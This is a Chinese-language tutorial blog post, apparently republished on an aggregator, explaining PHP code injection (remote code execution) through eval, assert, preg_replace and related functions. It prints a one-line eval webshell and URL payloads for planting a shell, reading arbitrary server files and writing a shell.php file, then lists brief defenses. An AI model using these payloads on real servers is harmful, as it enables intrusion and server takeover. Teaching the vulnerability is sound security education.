代码(执行)注入

Posted 兔子长虎牙

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码(执行)注入相关的知识,希望对你有一定的参考价值。

一、PHP代码注入 

代码注入(执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。类似于SQL注入,不同的是,SQL注入到数据库执行,而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行,简称RCE。

原因:

1.程序中含有可以执行php代码的函数或者语言结构。

2.传入第一点中的参数,客户端可控,直接修改或者影响。

危害:可以继承web用户权限,执行任意代码。读写目标服务器任意文件,控制整个服务器。

二、相关函数语句

1.eval()

eval()会将字符串当作php代码执行。

测试代码(一句话木马):

<?php
if(isset($_REQUSET['code'])){
	@$str=$_REQUEST['code'];
	eval($str);
}
?>

注: request   预定义超全局数组变量,get、post、cookie传参在request下都能接收的到。

传参方式,在URL路径后面加上:

?code=phpinfo();     或者     ?code=${phpinfo()} ;    或者     ?code=1;phpinfo();

eval()函数可执行多条件语句,在后面加   ;   执行。

2.assert()

同样作为php代码执行

3.preg_replace()

对字符串进行正则处理。

4.call_user_func()

有调用其他函数的功能,该函数的第一个值作为回调函数,后面的值作为回调函数的参数。

5.动态函数:$a($b)

由直接拼接的方式调用

三、漏洞利用

1.直接获取shell

提交参数[?code=@eval($_post[1]);],即可构成一句话木马,密码为[1],可使用菜刀连接。

2.获取当前文件的绝对路径

__FILE__是PHP  预定义常量,其含义是当前文件的路径,提交代码[?code=print(__FILE__);]

3.读文件

利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。

提交代码:

?code=var_dump(file_get_contents('c:\\windows\\system32\\drivers\\etc\\hosts'));

读取服务器hosts文件。

4.写文件

利用file_put_contents()函数,写入文件。前提是知道可写目录。

提交代码:

?code=var_dump(file_put_contents($_POST[1],$_POST[2]));

要借助hackbar工具post提交参数

1=shell.php&2=<?php phpinfo()?>

即可在当前目录下创建一个文件shell.php

四、防御方法

1.尽量不要使用eval等函数

2.如果使用的话一定要严格过滤

3.preg_replace放弃使用/e修饰符

4.disable_functions=assert

以上是关于代码(执行)注入的主要内容,如果未能解决你的问题,请参考以下文章

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

Android 逆向Android 进程注入工具开发 ( Visual Studio 开发 Android NDK 应用 | Visual Studio 中 SDK 和 NDK 安装位置 )(代码片段

spring练习,在Eclipse搭建的Spring开发环境中,使用set注入方式,实现对象的依赖关系,通过ClassPathXmlApplicationContext实体类获取Bean对象(代码片段

手机只需发条消息即可开始大规模SQL注入攻击

201555332盛照宗—网络对抗实验1—逆向与bof基础